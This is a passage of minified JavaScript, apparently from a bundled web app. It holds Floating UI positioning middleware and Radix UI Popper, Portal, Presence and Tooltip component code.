m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return u&&typeof S=="number"&&(x=u==="end"?S*-1:S),f?{x:x*p,y:y*h}:{x:y*h,y:x*p}}const S8=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:i,y:l,placement:c,middlewareData:u}=t,f=await w8(t,e);return c===((n=u.offset)==null?void 0:n.placement)&&(r=u.arrow)!=null&&r.alignmentOffset?{}:{x:i+f.x,y:l+f.y,data:{...f,placement:c}}}}},O8=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:i}=t,{mainAxis:l=!0,crossAxis:c=!1,limiter:u={fn:O=>{let{x:A,y:_}=O;return{x:A,y:_}}},...f}=wa(e,t),h={x:n,y:r},p=await wc(t,f),m=Lr(Sa(i)),y=Mb(m);let x=h[y],S=h[m];if(l){const O=y==="y"?"top":"left",A=y==="y"?"bottom":"right",_=x+p[O],T=x-p[A];x=f0(_,x,T)}if(c){const O=m==="y"?"top":"left",A=m==="y"?"bottom":"right",_=S+p[O],T=S-p[A];S=f0(_,S,T)}const w=u.fn({...t,[y]:x,[m]:S});return{...w,data:{x:w.x-n,y:w.y-r,enabled:{[y]:l,[m]:c}}}}}},E8=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:i,rects:l,middlewareData:c}=t,{offset:u=0,mainAxis:f=!0,crossAxis:h=!0}=wa(e,t),p={x:n,y:r},m=Lr(i),y=Mb(m);let x=p[y],S=p[m];const w=wa(u,t),O=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(f){const T=y==="y"?"height":"width",j=l.reference[y]-l.floating[T]+O.mainAxis,M=l.reference[y]+l.reference[T]-O.mainAxis;xM&&(x=M)}if(h){var A,_;const T=y==="y"?"width":"height",j=NM.has(Sa(i)),M=l.reference[m]-l.floating[T]+(j&&((A=c.offset)==null?void 0:A[m])||0)+(j?0:O.crossAxis),P=l.reference[m]+l.reference[T]+(j?0:((_=c.offset)==null?void 0:_[m])||0)-(j?O.crossAxis:0);SP&&(S=P)}return{[y]:x,[m]:S}}}},A8=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,r;const{placement:i,rects:l,platform:c,elements:u}=t,{apply:f=()=>{},...h}=wa(e,t),p=await wc(t,h),m=Sa(i),y=Hl(i),x=Lr(i)==="y",{width:S,height:w}=l.floating;let O,A;m==="top"||m==="bottom"?(O=m,A=y===(await(c.isRTL==null?void 0:c.isRTL(u.floating))?"start":"end")?"left":"right"):(A=m,O=y==="end"?"top":"bottom");const _=w-p.top-p.bottom,T=S-p.left-p.right,j=xi(w-p[O],_),M=xi(S-p[A],T),P=!t.middlewareData.shift;let R=j,I=M;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(I=T),(r=t.middlewareData.shift)!=null&&r.enabled.y&&(R=_),P&&!y){const q=zn(p.left,0),U=zn(p.right,0),V=zn(p.top,0),oe=zn(p.bottom,0);x?I=S-2*(q!==0||U!==0?q+U:zn(p.left,p.right)):R=w-2*(V!==0||oe!==0?V+oe:zn(p.top,p.bottom))}await f({...t,availableWidth:I,availableHeight:R});const B=await c.getDimensions(u.floating);return S!==B.width||w!==B.height?{reset:{rects:!0}}:{}}}};function _h(){return typeof window<"u"}function ql(e){return MM(e)?(e.nodeName||"").toLowerCase():"#document"}function Un(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Kr(e){var t;return(t=(MM(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function MM(e){return _h()?e instanceof Node||e instanceof Un(e).Node:!1}function Or(e){return _h()?e instanceof Element||e instanceof Un(e).Element:!1}function Br(e){return _h()?e instanceof HTMLElement||e instanceof Un(e).HTMLElement:!1}function XA(e){return!_h()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof Un(e).ShadowRoot}const C8=new Set(["inline","contents"]);function qc(e){const{overflow:t,overflowX:n,overflowY:r,display:i}=Er(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!C8.has(i)}const _8=new Set(["table","td","th"]);function T8(e){return _8.has(ql(e))}const N8=[":popover-open",":modal"];function Th(e){return N8.some(t=>{try{return e.matches(t)}catch{return!1}})}const M8=["transform","translate","scale","rotate","perspective"],j8=["transform","translate","scale","rotate","perspective","filter"],P8=["paint","layout","strict","content"];function Rb(e){const t=Db(),n=Or(e)?Er(e):e;return M8.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||j8.some(r=>(n.willChange||"").includes(r))||P8.some(r=>(n.contain||"").includes(r))}function R8(e){let t=wi(e);for(;Br(t)&&!jl(t);){if(Rb(t))return t;if(Th(t))return null;t=wi(t)}return null}function Db(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const D8=new Set(["html","body","#document"]);function jl(e){return D8.has(ql(e))}function Er(e){return Un(e).getComputedStyle(e)}function Nh(e){return Or(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function wi(e){if(ql(e)==="html")return e;const t=e.assignedSlot||e.parentNode||XA(e)&&e.host||Kr(e);return XA(t)?t.host:t}function jM(e){const t=wi(e);return jl(t)?e.ownerDocument?e.ownerDocument.body:e.body:Br(t)&&qc(t)?t:jM(t)}function Sc(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const i=jM(e),l=i===((r=e.ownerDocument)==null?void 0:r.body),c=Un(i);if(l){const u=h0(c);return t.concat(c,c.visualViewport||[],qc(i)?i:[],u&&n?Sc(u):[])}return t.concat(i,Sc(i,[],n))}function h0(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function PM(e){const t=Er(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const i=Br(e),l=i?e.offsetWidth:n,c=i?e.offsetHeight:r,u=wd(n)!==l||wd(r)!==c;return u&&(n=l,r=c),{width:n,height:r,$:u}}function kb(e){return Or(e)?e:e.contextElement}function Cl(e){const t=kb(e);if(!Br(t))return zr(1);const n=t.getBoundingClientRect(),{width:r,height:i,$:l}=PM(t);let c=(l?wd(n.width):n.width)/r,u=(l?wd(n.height):n.height)/i;return(!c||!Number.isFinite(c))&&(c=1),(!u||!Number.isFinite(u))&&(u=1),{x:c,y:u}}const k8=zr(0);function RM(e){const t=Un(e);return!Db()||!t.visualViewport?k8:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function L8(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==Un(e)?!1:t}function io(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const i=e.getBoundingClientRect(),l=kb(e);let c=zr(1);t&&(r?Or(r)&&(c=Cl(r)):c=Cl(e));const u=L8(l,n,r)?RM(l):zr(0);let f=(i.left+u.x)/c.x,h=(i.top+u.y)/c.y,p=i.width/c.x,m=i.height/c.y;if(l){const y=Un(l),x=r&&Or(r)?Un(r):r;let S=y,w=h0(S);for(;w&&r&&x!==S;){const O=Cl(w),A=w.getBoundingClientRect(),_=Er(w),T=A.left+(w.clientLeft+parseFloat(_.paddingLeft))*O.x,j=A.top+(w.clientTop+parseFloat(_.paddingTop))*O.y;f*=O.x,h*=O.y,p*=O.x,m*=O.y,f+=T,h+=j,S=Un(w),w=h0(S)}}return Od({width:p,height:m,x:f,y:h})}function Mh(e,t){const n=Nh(e).scrollLeft;return t?t.left+n:io(Kr(e)).left+n}function DM(e,t){const n=e.getBoundingClientRect(),r=n.left+t.scrollLeft-Mh(e,n),i=n.top+t.scrollTop;return{x:r,y:i}}function I8(e){let{elements:t,rect:n,offsetParent:r,strategy:i}=e;const l=i==="fixed",c=Kr(r),u=t?Th(t.floating):!1;if(r===c||u&&l)return n;let f={scrollLeft:0,scrollTop:0},h=zr(1);const p=zr(0),m=Br(r);if((m||!m&&!l)&&((ql(r)!=="body"||qc(c))&&(f=Nh(r)),Br(r))){const x=io(r);h=Cl(r),p.x=x.x+r.clientLeft,p.y=x.y+r.clientTop}const y=c&&!m&&!l?DM(c,f):zr(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-f.scrollLeft*h.x+p.x+y.x,y:n.y*h.y-f.scrollTop*h.y+p.y+y.y}}function z8(e){return Array.from(e.getClientRects())}function $8(e){const t=Kr(e),n=Nh(e),r=e.ownerDocument.body,i=zn(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),l=zn(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let c=-n.scrollLeft+Mh(e);const u=-n.scrollTop;return Er(r).direction==="rtl"&&(c+=zn(t.clientWidth,r.clientWidth)-i),{width:i,height:l,x:c,y:u}}const ZA=25;function B8(e,t){const n=Un(e),r=Kr(e),i=n.visualViewport;let l=r.clientWidth,c=r.clientHeight,u=0,f=0;if(i){l=i.width,c=i.height;const p=Db();(!p||p&&t==="fixed")&&(u=i.offsetLeft,f=i.offsetTop)}const h=Mh(r);if(h<=0){const p=r.ownerDocument,m=p.body,y=getComputedStyle(m),x=p.compatMode==="CSS1Compat"&&parseFloat(y.marginLeft)+parseFloat(y.marginRight)||0,S=Math.abs(r.clientWidth-m.clientWidth-x);S<=ZA&&(l-=S)}else h<=ZA&&(l+=h);return{width:l,height:c,x:u,y:f}}const U8=new Set(["absolute","fixed"]);function H8(e,t){const n=io(e,!0,t==="fixed"),r=n.top+e.clientTop,i=n.left+e.clientLeft,l=Br(e)?Cl(e):zr(1),c=e.clientWidth*l.x,u=e.clientHeight*l.y,f=i*l.x,h=r*l.y;return{width:c,height:u,x:f,y:h}}function QA(e,t,n){let r;if(t==="viewport")r=B8(e,n);else if(t==="document")r=$8(Kr(e));else if(Or(t))r=H8(t,n);else{const i=RM(e);r={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return Od(r)}function kM(e,t){const n=wi(e);return n===t||!Or(n)||jl(n)?!1:Er(n).position==="fixed"||kM(n,t)}function q8(e,t){const n=t.get(e);if(n)return n;let r=Sc(e,[],!1).filter(u=>Or(u)&&ql(u)!=="body"),i=null;const l=Er(e).position==="fixed";let c=l?wi(e):e;for(;Or(c)&&!jl(c);){const u=Er(c),f=Rb(c);!f&&u.position==="fixed"&&(i=null),(l?!f&&!i:!f&&u.position==="static"&&!!i&&U8.has(i.position)||qc(c)&&!f&&kM(e,c))?r=r.filter(p=>p!==c):i=u,c=wi(c)}return t.set(e,r),r}function F8(e){let{element:t,boundary:n,rootBoundary:r,strategy:i}=e;const c=[...n==="clippingAncestors"?Th(t)?[]:q8(t,this._c):[].concat(n),r],u=c[0],f=c.reduce((h,p)=>{const m=QA(t,p,i);return h.top=zn(m.top,h.top),h.right=xi(m.right,h.right),h.bottom=xi(m.bottom,h.bottom),h.left=zn(m.left,h.left),h},QA(t,u,i));return{width:f.right-f.left,height:f.bottom-f.top,x:f.left,y:f.top}}function V8(e){const{width:t,height:n}=PM(e);return{width:t,height:n}}function K8(e,t,n){const r=Br(t),i=Kr(t),l=n==="fixed",c=io(e,!0,l,t);let u={scrollLeft:0,scrollTop:0};const f=zr(0);function h(){f.x=Mh(i)}if(r||!r&&!l)if((ql(t)!=="body"||qc(i))&&(u=Nh(t)),r){const x=io(t,!0,l,t);f.x=x.x+t.clientLeft,f.y=x.y+t.clientTop}else i&&h();l&&!r&&i&&h();const p=i&&!r&&!l?DM(i,u):zr(0),m=c.left+u.scrollLeft-f.x-p.x,y=c.top+u.scrollTop-f.y-p.y;return{x:m,y,width:c.width,height:c.height}}function vg(e){return Er(e).position==="static"}function JA(e,t){if(!Br(e)||Er(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return Kr(e)===n&&(n=n.ownerDocument.body),n}function LM(e,t){const n=Un(e);if(Th(e))return n;if(!Br(e)){let i=wi(e);for(;i&&!jl(i);){if(Or(i)&&!vg(i))return i;i=wi(i)}return n}let r=JA(e,t);for(;r&&T8(r)&&vg(r);)r=JA(r,t);return r&&jl(r)&&vg(r)&&!Rb(r)?n:r||R8(e)||n}const Y8=async function(e){const t=this.getOffsetParent||LM,n=this.getDimensions,r=await n(e.floating);return{reference:K8(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function G8(e){return Er(e).direction==="rtl"}const W8={convertOffsetParentRelativeRectToViewportRelativeRect:I8,getDocumentElement:Kr,getClippingRect:F8,getOffsetParent:LM,getElementRects:Y8,getClientRects:z8,getDimensions:V8,getScale:Cl,isElement:Or,isRTL:G8};function IM(e,t){return e.x===t.x&&e.y===t.y&&e.width===t.width&&e.height===t.height}function X8(e,t){let n=null,r;const i=Kr(e);function l(){var u;clearTimeout(r),(u=n)==null||u.disconnect(),n=null}function c(u,f){u===void 0&&(u=!1),f===void 0&&(f=1),l();const h=e.getBoundingClientRect(),{left:p,top:m,width:y,height:x}=h;if(u||t(),!y||!x)return;const S=If(m),w=If(i.clientWidth-(p+y)),O=If(i.clientHeight-(m+x)),A=If(p),T={rootMargin:-S+"px "+-w+"px "+-O+"px "+-A+"px",threshold:zn(0,xi(1,f))||1};let j=!0;function M(P){const R=P[0].intersectionRatio;if(R!==f){if(!j)return c();R?c(!1,R):r=setTimeout(()=>{c(!1,1e-7)},1e3)}R===1&&!IM(h,e.getBoundingClientRect())&&c(),j=!1}try{n=new IntersectionObserver(M,{...T,root:i.ownerDocument})}catch{n=new IntersectionObserver(M,T)}n.observe(e)}return c(!0),l}function Z8(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:i=!0,ancestorResize:l=!0,elementResize:c=typeof ResizeObserver=="function",layoutShift:u=typeof IntersectionObserver=="function",animationFrame:f=!1}=r,h=kb(e),p=i||l?[...h?Sc(h):[],...Sc(t)]:[];p.forEach(A=>{i&&A.addEventListener("scroll",n,{passive:!0}),l&&A.addEventListener("resize",n)});const m=h&&u?X8(h,n):null;let y=-1,x=null;c&&(x=new ResizeObserver(A=>{let[_]=A;_&&_.target===h&&x&&(x.unobserve(t),cancelAnimationFrame(y),y=requestAnimationFrame(()=>{var T;(T=x)==null||T.observe(t)})),n()}),h&&!f&&x.observe(h),x.observe(t));let S,w=f?io(e):null;f&&O();function O(){const A=io(e);w&&!IM(w,A)&&n(),w=A,S=requestAnimationFrame(O)}return n(),()=>{var A;p.forEach(_=>{i&&_.removeEventListener("scroll",n),l&&_.removeEventListener("resize",n)}),m?.(),(A=x)==null||A.disconnect(),x=null,f&&cancelAnimationFrame(S)}}const Q8=S8,J8=O8,eU=b8,tU=A8,nU=x8,eC=y8,rU=E8,aU=(e,t,n)=>{const r=new Map,i={platform:W8,...n},l={...i.platform,_c:r};return g8(e,t,{...i,platform:l})};var iU=typeof document<"u",oU=function(){},sd=iU?v.useLayoutEffect:oU;function Ed(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,i;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!Ed(e[r],t[r]))return!1;return!0}if(i=Object.keys(e),n=i.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,i[r]))return!1;for(r=n;r--!==0;){const l=i[r];if(!(l==="_owner"&&e.$$typeof)&&!Ed(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}function zM(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function tC(e,t){const n=zM(e);return Math.round(t*n)/n}function gg(e){const t=v.useRef(e);return sd(()=>{t.current=e}),t}function lU(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:i,elements:{reference:l,floating:c}={},transform:u=!0,whileElementsMounted:f,open:h}=e,[p,m]=v.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[y,x]=v.useState(r);Ed(y,r)||x(r);const[S,w]=v.useState(null),[O,A]=v.useState(null),_=v.useCallback($=>{$!==P.current&&(P.current=$,w($))},[]),T=v.useCallback($=>{$!==R.current&&(R.current=$,A($))},[]),j=l||S,M=c||O,P=v.useRef(null),R=v.useRef(null),I=v.useRef(p),B=f!=null,q=gg(f),U=gg(i),V=gg(h),oe=v.useCallback(()=>{if(!P.current||!R.current)return;const $={placement:t,strategy:n,middleware:y};U.current&&($.platform=U.current),aU(P.current,R.current,$).then(Z=>{const de={...Z,isPositioned:V.current!==!1};le.current&&!Ed(I.current,de)&&(I.current=de,wo.flushSync(()=>{m(de)}))})},[y,t,n,U,V]);sd(()=>{h===!1&&I.current.isPositioned&&(I.current.isPositioned=!1,m($=>({...$,isPositioned:!1})))},[h]);const le=v.useRef(!1);sd(()=>(le.current=!0,()=>{le.current=!1}),[]),sd(()=>{if(j&&(P.current=j),M&&(R.current=M),j&&M){if(q.current)return q.current(j,M,oe);oe()}},[j,M,oe,q,B]);const ce=v.useMemo(()=>({reference:P,floating:R,setReference:_,setFloating:T}),[_,T]),L=v.useMemo(()=>({reference:j,floating:M}),[j,M]),F=v.useMemo(()=>{const $={position:n,left:0,top:0};if(!L.floating)return $;const Z=tC(L.floating,p.x),de=tC(L.floating,p.y);return u?{...$,transform:"translate("+Z+"px, "+de+"px)",...zM(L.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:Z,top:de}},[n,u,L.floating,p.x,p.y]);return v.useMemo(()=>({...p,update:oe,refs:ce,elements:L,floatingStyles:F}),[p,oe,ce,L,F])}const sU=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:i}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?eC({element:r.current,padding:i}).fn(n):{}:r?eC({element:r,padding:i}).fn(n):{}}}},cU=(e,t)=>({...Q8(e),options:[e,t]}),uU=(e,t)=>({...J8(e),options:[e,t]}),fU=(e,t)=>({...rU(e),options:[e,t]}),dU=(e,t)=>({...eU(e),options:[e,t]}),hU=(e,t)=>({...tU(e),options:[e,t]}),pU=(e,t)=>({...nU(e),options:[e,t]}),mU=(e,t)=>({...sU(e),options:[e,t]});var vU="Arrow",$M=v.forwardRef((e,t)=>{const{children:n,width:r=10,height:i=5,...l}=e;return E.jsx(Ce.svg,{...l,ref:t,width:r,height:i,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});$M.displayName=vU;var gU=$M;function BM(e){const[t,n]=v.useState(void 0);return Ft(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(i=>{if(!Array.isArray(i)||!i.length)return;const l=i[0];let c,u;if("borderBoxSize"in l){const f=l.borderBoxSize,h=Array.isArray(f)?f[0]:f;c=h.inlineSize,u=h.blockSize}else c=e.offsetWidth,u=e.offsetHeight;n({width:c,height:u})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var Lb="Popper",[UM,Fl]=Fn(Lb),[yU,HM]=UM(Lb),qM=e=>{const{__scopePopper:t,children:n}=e,[r,i]=v.useState(null);return E.jsx(yU,{scope:t,anchor:r,onAnchorChange:i,children:n})};qM.displayName=Lb;var FM="PopperAnchor",VM=v.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...i}=e,l=HM(FM,n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return v.useEffect(()=>{const h=f.current;f.current=r?.current||c.current,h!==f.current&&l.onAnchorChange(f.current)}),r?null:E.jsx(Ce.div,{...i,ref:u})});VM.displayName=FM;var Ib="PopperContent",[bU,xU]=UM(Ib),KM=v.forwardRef((e,t)=>{const{__scopePopper:n,side:r="bottom",sideOffset:i=0,align:l="center",alignOffset:c=0,arrowPadding:u=0,avoidCollisions:f=!0,collisionBoundary:h=[],collisionPadding:p=0,sticky:m="partial",hideWhenDetached:y=!1,updatePositionStrategy:x="optimized",onPlaced:S,...w}=e,O=HM(Ib,n),[A,_]=v.useState(null),T=De(t,ee=>_(ee)),[j,M]=v.useState(null),P=BM(j),R=P?.width??0,I=P?.height??0,B=r+(l!=="center"?"-"+l:""),q=typeof p=="number"?p:{top:0,right:0,bottom:0,left:0,...p},U=Array.isArray(h)?h:[h],V=U.length>0,oe={padding:q,boundary:U.filter(SU),altBoundary:V},{refs:le,floatingStyles:ce,placement:L,isPositioned:F,middlewareData:$}=lU({strategy:"fixed",placement:B,whileElementsMounted:(...ee)=>Z8(...ee,{animationFrame:x==="always"}),elements:{reference:O.anchor},middleware:[cU({mainAxis:i+I,alignmentAxis:c}),f&&uU({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?fU():void 0,...oe}),f&&dU({...oe}),hU({...oe,apply:({elements:ee,rects:_e,availableWidth:Q,availableHeight:fe})=>{const{width:he,height:ne}=_e.reference,Ke=ee.floating.style;Ke.setProperty("--radix-popper-available-width",`${Q}px`),Ke.setProperty("--radix-popper-available-height",`${fe}px`),Ke.setProperty("--radix-popper-anchor-width",`${he}px`),Ke.setProperty("--radix-popper-anchor-height",`${ne}px`)}}),j&&mU({element:j,padding:u}),OU({arrowWidth:R,arrowHeight:I}),y&&pU({strategy:"referenceHidden",...oe})]}),[Z,de]=WM(L),D=en(S);Ft(()=>{F&&D?.()},[F,D]);const X=$.arrow?.x,ae=$.arrow?.y,se=$.arrow?.centerOffset!==0,[me,xe]=v.useState();return Ft(()=>{A&&xe(window.getComputedStyle(A).zIndex)},[A]),E.jsx("div",{ref:le.setFloating,"data-radix-popper-content-wrapper":"",style:{...ce,transform:F?ce.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:me,"--radix-popper-transform-origin":[$.transformOrigin?.x,$.transformOrigin?.y].join(" "),...$.hide?.referenceHidden&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(bU,{scope:n,placedSide:Z,onArrowChange:M,arrowX:X,arrowY:ae,shouldHideArrow:se,children:E.jsx(Ce.div,{"data-side":Z,"data-align":de,...w,ref:T,style:{...w.style,animation:F?void 0:"none"}})})})});KM.displayName=Ib;var YM="PopperArrow",wU={top:"bottom",right:"left",bottom:"top",left:"right"},GM=v.forwardRef(function(t,n){const{__scopePopper:r,...i}=t,l=xU(YM,r),c=wU[l.placedSide];return E.jsx("span",{ref:l.onArrowChange,style:{position:"absolute",left:l.arrowX,top:l.arrowY,[c]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[l.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[l.placedSide],visibility:l.shouldHideArrow?"hidden":void 0},children:E.jsx(gU,{...i,ref:n,style:{...i.style,display:"block"}})})});GM.displayName=YM;function SU(e){return e!==null}var OU=e=>({name:"transformOrigin",options:e,fn(t){const{placement:n,rects:r,middlewareData:i}=t,c=i.arrow?.centerOffset!==0,u=c?0:e.arrowWidth,f=c?0:e.arrowHeight,[h,p]=WM(n),m={start:"0%",center:"50%",end:"100%"}[p],y=(i.arrow?.x??0)+u/2,x=(i.arrow?.y??0)+f/2;let S="",w="";return h==="bottom"?(S=c?m:`${y}px`,w=`${-f}px`):h==="top"?(S=c?m:`${y}px`,w=`${r.floating.height+f}px`):h==="right"?(S=`${-f}px`,w=c?m:`${x}px`):h==="left"&&(S=`${r.floating.width+f}px`,w=c?m:`${x}px`),{data:{x:S,y:w}}}});function WM(e){const[t,n="center"]=e.split("-");return[t,n]}var zb=qM,$b=VM,Bb=KM,Ub=GM,EU="Portal",Fc=v.forwardRef((e,t)=>{const{container:n,...r}=e,[i,l]=v.useState(!1);Ft(()=>l(!0),[]);const c=n||i&&globalThis?.document?.body;return c?HB.createPortal(E.jsx(Ce.div,{...r,ref:t}),c):null});Fc.displayName=EU;function AU(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var ln=e=>{const{present:t,children:n}=e,r=CU(t),i=typeof n=="function"?n({present:r.isPresent}):v.Children.only(n),l=De(r.ref,_U(i));return typeof n=="function"||r.isPresent?v.cloneElement(i,{ref:l}):null};ln.displayName="Presence";function CU(e){const[t,n]=v.useState(),r=v.useRef(null),i=v.useRef(e),l=v.useRef("none"),c=e?"mounted":"unmounted",[u,f]=AU(c,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return v.useEffect(()=>{const h=zf(r.current);l.current=u==="mounted"?h:"none"},[u]),Ft(()=>{const h=r.current,p=i.current;if(p!==e){const y=l.current,x=zf(h);e?f("MOUNT"):x==="none"||h?.display==="none"?f("UNMOUNT"):f(p&&y!==x?"ANIMATION_OUT":"UNMOUNT"),i.current=e}},[e,f]),Ft(()=>{if(t){let h;const p=t.ownerDocument.defaultView??window,m=x=>{const w=zf(r.current).includes(CSS.escape(x.animationName));if(x.target===t&&w&&(f("ANIMATION_END"),!i.current)){const O=t.style.animationFillMode;t.style.animationFillMode="forwards",h=p.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=O)})}},y=x=>{x.target===t&&(l.current=zf(r.current))};return t.addEventListener("animationstart",y),t.addEventListener("animationcancel",m),t.addEventListener("animationend",m),()=>{p.clearTimeout(h),t.removeEventListener("animationstart",y),t.removeEventListener("animationcancel",m),t.removeEventListener("animationend",m)}}else f("ANIMATION_END")},[t,f]),{isPresent:["mounted","unmountSuspended"].includes(u),ref:v.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function zf(e){return e?.animationName||"none"}function _U(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var TU=Symbol("radix.slottable");function NU(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=TU,t}var MU=Eh[" useInsertionEffect ".trim().toString()]||Ft;function Oa({prop:e,defaultProp:t,onChange:n=()=>{},caller:r}){const[i,l,c]=jU({defaultProp:t,onChange:n}),u=e!==void 0,f=u?e:i;{const p=v.useRef(e!==void 0);v.useEffect(()=>{const m=p.current;m!==u&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${u?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),p.current=u},[u,r])}const h=v.useCallback(p=>{if(u){const m=PU(p)?p(e):p;m!==e&&c.current?.(m)}else l(p)},[u,e,l,c]);return[f,h]}function jU({defaultProp:e,onChange:t}){const[n,r]=v.useState(e),i=v.useRef(n),l=v.useRef(t);return MU(()=>{l.current=t},[t]),v.useEffect(()=>{i.current!==n&&(l.current?.(n),i.current=n)},[n,i]),[n,r,l]}function PU(e){return typeof e=="function"}var XM=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),RU="VisuallyHidden",ZM=v.forwardRef((e,t)=>E.jsx(Ce.span,{...e,ref:t,style:{...XM,...e.style}}));ZM.displayName=RU;var DU=ZM,[jh]=Fn("Tooltip",[Fl]),Ph=Fl(),QM="TooltipProvider",kU=700,p0="tooltip.open",[LU,Hb]=jh(QM),JM=e=>{const{__scopeTooltip:t,delayDuration:n=kU,skipDelayDuration:r=300,disableHoverableContent:i=!1,children:l}=e,c=v.useRef(!0),u=v.useRef(!1),f=v.useRef(0);return v.useEffect(()=>{const h=f.current;return()=>window.clearTimeout(h)},[]),E.jsx(LU,{scope:t,isOpenDelayedRef:c,delayDuration:n,onOpen:v.useCallback(()=>{window.clearTimeout(f.current),c.current=!1},[]),onClose:v.useCallback(()=>{window.clearTimeout(f.current),f.current=window.setTimeout(()=>c.current=!0,r)},[r]),isPointerInTransitRef:u,onPointerInTransitChange:v.useCallback(h=>{u.current=h},[]),disableHoverableContent:i,children:l})};JM.displayName=QM;var Oc="Tooltip",[IU,Vc]=jh(Oc),ej=e=>{const{__scopeTooltip:t,children:n,open:r,defaultOpen:i,onOpenChange:l,disableHoverableContent:c,delayDuration:u}=e,f=Hb(Oc,e.__scopeTooltip),h=Ph(t),[p,m]=v.useState(null),y=sr(),x=v.useRef(0),S=c??f.disableHoverableContent,w=u??f.delayDuration,O=v.useRef(!1),[A,_]=Oa({prop:r,defaultProp:i??!1,onChange:R=>{R?(f.onOpen(),document.dispatchEvent(new CustomEvent(p0))):f.onClose(),l?.(R)},caller:Oc}),T=v.useMemo(()=>A?O.current?"delayed-open":"instant-open":"closed",[A]),j=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,O.current=!1,_(!0)},[_]),M=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,_(!1)},[_]),P=v.useCallback(()=>{window.clearTimeout(x.current),x.current=window.setTimeout(()=>{O.current=!0,_(!0),x.current=0},w)},[w,_]);return 